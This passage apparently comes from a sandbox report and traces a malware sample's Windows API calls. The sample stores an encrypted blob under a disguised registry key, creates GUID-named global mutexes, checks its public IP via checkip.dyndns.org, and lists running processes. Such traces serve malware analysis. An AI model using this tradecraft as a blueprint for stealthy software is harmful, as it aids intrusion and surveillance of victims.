phProv=0x25be300, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x25be300*=0x892840) returned 1 [0115.689] CryptCreateHash (in: hProv=0x892840, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x25be2fc | out: phHash=0x25be2fc) returned 1 [0115.689] CryptHashData (hHash=0x85b1a0, pbData=0x8cf6f8, dwDataLen=0x19ea, dwFlags=0x0) returned 1 [0115.689] CryptGetHashParam (in: hHash=0x85b1a0, dwParam=0x2, pbData=0x25be328, pdwDataLen=0x25be2f8, dwFlags=0x0 | out: pbData=0x25be328, pdwDataLen=0x25be2f8) returned 1 [0115.689] CryptDestroyHash (hHash=0x85b1a0) returned 1 [0115.689] CryptReleaseContext (hProv=0x892840, dwFlags=0x0) returned 1 [0115.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x139026, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x314 [0115.689] CreateMutexW (lpMutexAttributes=0x333fac, bInitialOwner=0, lpName="Global\\{8E6A7E3D-CDD7-345A-65D9-FE61A0417768}") returned 0x438 [0115.690] WaitForSingleObject (hHandle=0x438, dwMilliseconds=0xffffffff) returned 0x0 [0115.690] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", ulOptions=0x0, samDesired=0x1, phkResult=0x25be45c | out: phkResult=0x25be45c*=0x43c) returned 0x0 [0115.690] RegQueryValueExW (in: hKey=0x43c, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x25be728, lpData=0x0, lpcbData=0x25be458*=0x0 | out: lpType=0x25be728*=0x3, lpData=0x0, lpcbData=0x25be458*=0x1a1a) returned 0x0 [0115.690] RegQueryValueExW (in: hKey=0x43c, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x25be728, lpData=0x8cf6c8, lpcbData=0x25be458*=0x1a1a | out: lpType=0x25be728*=0x3, lpData=0x8cf6c8*, lpcbData=0x25be458*=0x1a1a) returned 0x0 [0115.690] RegCloseKey (hKey=0x43c) returned 0x0 [0115.690] CryptAcquireContextW (in: phProv=0x25be2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x25be2d8*=0x892840) returned 1 [0115.690] CryptCreateHash (in: hProv=0x892840, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x25be2d4 | out: phHash=0x25be2d4) returned 1 [0115.690] CryptHashData (hHash=0x85b1a0, pbData=0x8cf6f8, dwDataLen=0x19ea, dwFlags=0x0) returned 1 [0115.690] CryptGetHashParam (in: hHash=0x85b1a0, dwParam=0x2, pbData=0x25be300, pdwDataLen=0x25be2d0, dwFlags=0x0 | out: pbData=0x25be300, pdwDataLen=0x25be2d0) returned 1 [0115.690] CryptDestroyHash (hHash=0x85b1a0) returned 1 [0115.690] CryptReleaseContext (hProv=0x892840, dwFlags=0x0) returned 1 [0115.691] CryptAcquireContextW (in: phProv=0x25be2d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x25be2d4*=0x892840) returned 1 [0115.691] CryptCreateHash (in: hProv=0x892840, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x25be2d0 | out: phHash=0x25be2d0) returned 1 [0115.691] CryptHashData (hHash=0x85b1a0, pbData=0x8d2b50, dwDataLen=0x1c1c, dwFlags=0x0) returned 1 [0115.691] CryptGetHashParam (in: hHash=0x85b1a0, dwParam=0x2, pbData=0x8d2b40, pdwDataLen=0x25be2cc, dwFlags=0x0 | out: pbData=0x8d2b40, pdwDataLen=0x25be2cc) returned 1 [0115.691] CryptDestroyHash (hHash=0x85b1a0) returned 1 [0115.691] CryptReleaseContext (hProv=0x892840, dwFlags=0x0) returned 1 [0115.691] GetTickCount () returned 0x23d3e [0115.691] GetTickCount () returned 0x23d3e [0115.691] GetTickCount () returned 0x23d3e [0115.691] GetTickCount () returned 0x23d3e [0115.691] GetTickCount () returned 0x23d3e [0115.691] GetTickCount () returned 0x23d3e [0115.691] GetTickCount () returned 0x23d3e [0115.691] GetTickCount () returned 0x23d3e [0115.691] GetTickCount () returned 0x23d3e [0115.691] GetTickCount () returned 0x23d3e [0115.691] GetTickCount () returned 0x23d3e [0115.691] GetTickCount () returned 0x23d3e [0115.691] GetTickCount () returned 0x23d3e [0115.691] GetTickCount () returned 0x23d3e [0115.691] GetTickCount () returned 0x23d3e [0115.691] GetTickCount () returned 0x23d3e [0115.691] GetTickCount () returned 0x23d3e [0115.691] GetTickCount () returned 0x23d3e [0115.691] GetTickCount () returned 0x23d3e [0115.691] GetTickCount () returned 0x23d3e [0115.691] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x25be48c, lpdwDisposition=0x0 | out: phkResult=0x25be48c*=0x43c, lpdwDisposition=0x0) returned 0x0 [0115.691] RegSetValueExW (in: hKey=0x43c, lpValueName="Yqlozyzuz", Reserved=0x0, dwType=0x3, lpData=0x8d2b20*, cbData=0x1c4c | out: lpData=0x8d2b20*) returned 0x0 [0115.692] RegCloseKey (hKey=0x43c) returned 0x0 [0115.692] ReleaseMutex (hMutex=0x438) returned 1 [0115.692] CloseHandle (hObject=0x438) returned 1 [0115.692] CloseHandle (hObject=0x430) returned 1 [0115.692] CloseHandle (hObject=0x1ac) returned 1 [0115.692] CloseHandle (hObject=0x314) returned 1 [0115.692] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1872ba) Thread: id = 161 os_tid = 0x9c0 [0112.119] StringFromGUID2 (in: rguid=0x24fe748*(Data1=0xe4529d1d, Data2=0x2ef7, Data3=0x5e62, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x24feec2, cchMax=40 | out: lpsz="{E4529D1D-2EF7-5E62-65D9-FE61A0417768}") returned 39 [0112.119] CreateMutexW (lpMutexAttributes=0x333fac, bInitialOwner=0, lpName="Global\\{E4529D1D-2EF7-5E62-65D9-FE61A0417768}") returned 0x16c [0112.119] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0112.119] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0112.221] GetTickCount () returned 0x22fb6 [0112.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AUFDDCNTXWT_1F3D59E9E9AEECF6", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0112.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AUFDDCNTXWT_1F3D59E9E9AEECF6", cchWideChar=28, lpMultiByteStr=0x82b220, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUFDDCNTXWT_1F3D59E9E9AEECF6", lpUsedDefaultChar=0x0) returned 28 [0112.269] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24fe598, cbMultiByte=2, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0112.269] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x24fe598, cbMultiByte=2, lpWideCharStr=0x84cb00, cchWideChar=3 | out: lpWideCharStr="18") returned 2 [0112.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="18", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0112.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="18", cchWideChar=2, lpMultiByteStr=0x84c670, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="18", lpUsedDefaultChar=0x0) returned 2 [0112.269] GetVersionExW (in: lpVersionInformation=0x24fe3d8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x84c670, dwMinorVersion=0x24ff7d4, dwBuildNumber=0x77791ecd, dwPlatformId=0xf4c781, szCSDVersion="￾￿ℵ睶Ῥ睶\x84\x86") | out: lpVersionInformation=0x24fe3d8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0112.269] GetNativeSystemInfo (in: lpSystemInfo=0x24fe3b0 | out: lpSystemInfo=0x24fe3b0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0112.269] GetVersionExW (in: lpVersionInformation=0x24fe248*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x24fe248*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0112.269] socket (af=2, type=2, protocol=0) returned 0x29c [0112.322] WSAIoctl (in: s=0x29c, dwIoControlCode=0x48000016, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x24fe4a0, cbOutBuffer=0x0, lpcbBytesReturned=0x24fe4ac, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x24fe4a0, lpcbBytesReturned=0x24fe4ac, lpOverlapped=0x0) returned -1 [0112.322] WSAGetLastError () returned 10014 [0112.322] WSAIoctl (in: s=0x29c, dwIoControlCode=0x48000016, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x8642c8, cbOutBuffer=0x1c, lpcbBytesReturned=0x24fe4ac, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x8642c8, lpcbBytesReturned=0x24fe4ac, lpOverlapped=0x0) returned 0 [0112.322] closesocket (s=0x29c) returned 0 [0112.323] socket (af=23, type=2, protocol=0) returned 0x2b0 [0112.325] WSAIoctl (in: s=0x2b0, dwIoControlCode=0x48000016, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x24fe4a0, cbOutBuffer=0x0, lpcbBytesReturned=0x24fe4ac, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x24fe4a0, lpcbBytesReturned=0x24fe4ac, lpOverlapped=0x0) returned -1 [0112.325] WSAGetLastError () returned 10014 [0112.325] WSAIoctl (in: s=0x2b0, dwIoControlCode=0x48000016, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x82bac8, cbOutBuffer=0x28, lpcbBytesReturned=0x24fe4ac, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x82bac8, lpcbBytesReturned=0x24fe4ac, lpOverlapped=0x0) returned 0 [0112.325] closesocket (s=0x2b0) returned 0 [0112.326] InternetCrackUrlA (in: lpszUrl="http://checkip.dyndns.org", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x24fe320 | out: lpUrlComponents=0x24fe320) returned 1 [0112.326] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0010 [0112.326] InternetSetOptionA (hInternet=0xcc0010, dwOption=0x2, lpBuffer=0x323004, dwBufferLength=0x4) returned 1 [0112.326] InternetSetOptionA (hInternet=0xcc0010, dwOption=0x6, lpBuffer=0x32300c, dwBufferLength=0x4) returned 1 [0112.326] InternetSetOptionA (hInternet=0xcc0010, dwOption=0x5, lpBuffer=0x323014, dwBufferLength=0x4) returned 1 [0112.326] InternetConnectA (hInternet=0xcc0010, lpszServerName="checkip.dyndns.org", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0014 [0112.326] HttpOpenRequestA (hConnect=0xcc0014, lpszVerb="GET", lpszObjectName="/", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x323018*="*/*", dwFlags=0x8404c700, dwContext=0x0) returned 0xcc0018 [0112.326] HttpSendRequestA (in: hRequest=0xcc0018, lpszHeaders="Connection: close\r\n", dwHeadersLength=0x13, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0114.604] HttpQueryInfoA (in: hRequest=0xcc0018, dwInfoLevel=0x20000013, lpBuffer=0x24fe374, lpdwBufferLength=0x24fe370, lpdwIndex=0x0 | out: lpBuffer=0x24fe374*, lpdwBufferLength=0x24fe370*=0x4, lpdwIndex=0x0) returned 1 [0114.605] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0x2b40048, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x24fe378 | out: lpBuffer=0x2b40048*, lpdwNumberOfBytesRead=0x24fe378*=0x6a) returned 1 [0114.605] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0x2b400b2, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x24fe378 | out: lpBuffer=0x2b400b2*, lpdwNumberOfBytesRead=0x24fe378*=0x0) returned 1 [0114.606] InternetCloseHandle (hInternet=0xcc0018) returned 1 [0114.606] InternetQueryOptionA (in: hInternet=0xcc0014, dwOption=0x15, lpBuffer=0x24fe38c, lpdwBufferLength=0x24fe388 | out: lpBuffer=0x24fe38c, lpdwBufferLength=0x24fe388) returned 1 [0114.606] InternetCloseHandle (hInternet=0xcc0014) returned 1 [0114.606] InternetCloseHandle (hInternet=0xcc0010) returned 1 [0114.607] inet_addr (cp="87.142.159.132") returned 0x849f8e57 [0114.607] inet_addr (cp="87.142.159.132") returned 0x849f8e57 [0114.607] inet_addr (cp="87.142.159.132") returned 0x849f8e57 [0114.607] inet_addr (cp="87.142.159.132") returned 0x849f8e57 [0114.607] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x434 [0114.608] Process32FirstW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.609] wvnsprintfW (in: pszDest=0x869090, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[0] [[System Process]]\r\n") returned 24 [0114.609] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0114.609] wvnsprintfW (in: pszDest=0x8690c0, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[4] [System]\r\n") returned 14 [0114.609] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0114.610] wvnsprintfW (in: pszDest=0x8690dc, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[264] [smss.exe]\r\n") returned 18 [0114.610] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.610] wvnsprintfW (in: pszDest=0x869100, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[332] [csrss.exe]\r\n") returned 19 [0114.610] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0114.611] wvnsprintfW (in: pszDest=0x869126, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[380] [wininit.exe]\r\n") returned 21 [0114.611] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.611] wvnsprintfW (in: pszDest=0x869150, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[392] [csrss.exe]\r\n") returned 19 [0114.611] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0114.612] wvnsprintfW (in: pszDest=0x869176, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[432] [winlogon.exe]\r\n") returned 22 [0114.612] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0114.613] wvnsprintfW (in: pszDest=0x8691a2, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[476] [services.exe]\r\n") returned 22 [0114.613] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0114.613] wvnsprintfW (in: pszDest=0x869816, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[484] [lsass.exe]\r\n") returned 19 [0114.613] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0114.614] wvnsprintfW (in: pszDest=0x86983c, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[492] [lsm.exe]\r\n") returned 17 [0114.614] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.614] wvnsprintfW (in: pszDest=0x86985e, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[600] [svchost.exe]\r\n") returned 21 [0114.614] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.615] wvnsprintfW (in: pszDest=0x869888, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[664] [svchost.exe]\r\n") returned 21 [0114.615] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.615] wvnsprintfW (in: pszDest=0x8698b2, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[716] [svchost.exe]\r\n") returned 21 [0114.615] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.616] wvnsprintfW (in: pszDest=0x8698dc, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[792] [svchost.exe]\r\n") returned 21 [0114.616] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.616] wvnsprintfW (in: pszDest=0x869906, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[852] [svchost.exe]\r\n") returned 21 [0114.616] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0114.617] wvnsprintfW (in: pszDest=0x869930, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[920] [audiodg.exe]\r\n") returned 21 [0114.617] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.617] wvnsprintfW (in: pszDest=0x86995a, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[1008] [svchost.exe]\r\n") returned 22 [0114.617] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.618] wvnsprintfW (in: pszDest=0x869986, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[352] [svchost.exe]\r\n") returned 21 [0114.618] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0114.618] wvnsprintfW (in: pszDest=0x8699b0, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[284] [spoolsv.exe]\r\n") returned 21 [0114.618] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.619] wvnsprintfW (in: pszDest=0x8699da, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[1036] [svchost.exe]\r\n") returned 22 [0114.619] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0114.619] wvnsprintfW (in: pszDest=0x869a06, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[1296] [taskhost.exe]\r\n") returned 23 [0114.619] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0114.620] wvnsprintfW (in: pszDest=0x869a34, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[1372] [dwm.exe]\r\n") returned 18 [0114.620] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0114.620] wvnsprintfW (in: pszDest=0x869a58, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[1384] [explorer.exe]\r\n") returned 23 [0114.620] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0114.621] wvnsprintfW (in: pszDest=0x869a86, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[1480] [taskeng.exe]\r\n") returned 22 [0114.621] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0114.622] wvnsprintfW (in: pszDest=0x869ab2, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[2000] [taskeng.exe]\r\n") returned 22 [0114.622] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0114.623] wvnsprintfW (in: pszDest=0x869ade, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[692] [taskeng.exe]\r\n") returned 21 [0114.623] Process32NextW (in: hSnapshot=0x434, lppe=0x24fe2d0 | out: lppe=0x24fe2d0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0114.623] wvnsprintfW (in: pszDest=0x869b08, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x24fe2c4 | out: pszDest="[1932] 